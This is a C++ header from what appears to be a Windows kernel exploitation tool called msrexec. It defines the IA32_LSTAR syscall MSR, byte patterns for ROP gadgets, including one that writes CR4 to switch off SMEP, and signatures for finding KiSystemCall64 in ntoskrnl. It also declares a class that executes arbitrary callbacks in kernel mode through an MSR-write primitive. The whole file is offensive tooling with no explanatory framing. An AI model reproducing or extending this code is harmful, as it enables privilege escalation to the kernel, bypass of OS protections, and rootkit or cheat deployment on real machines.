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43 lines
1.7 KiB
43 lines
1.7 KiB
4 years ago
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#pragma once
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#include "utils.hpp"
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#include "syscall_handler.h"
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#include <intrin.h>
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#define IA32_LSTAR_MSR 0xC0000082
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#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
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#define POP_RCX_GADGET "\x59\xc3"
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#define SYSRET_GADGET "\x48\x0F\x07"
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// not sure how far back this signature goes... works on 1507 though....
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#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
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#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
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static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
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#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
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#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
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static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
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using get_system_routine_t = void* (*)(void*, const char*);
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using callback_t = std::function<void(void*, get_system_routine_t)>;
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using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
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using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
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extern "C" void msrexec_handler(callback_t* callback);
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inline get_system_routine_t get_system_routine = nullptr;
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inline void* ntoskrnl_base = nullptr;
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namespace vdm
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{
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class msrexec_ctx
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{
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public:
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explicit msrexec_ctx(writemsr_t wrmsr);
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void exec(callback_t kernel_callback);
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void set_wrmsr(writemsr_t wrmsr);
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auto get_wrmsr() -> writemsr_t const;
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private:
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auto find_gadgets() -> bool;
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auto find_globals() -> bool;
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writemsr_t wrmsr;
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};
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}
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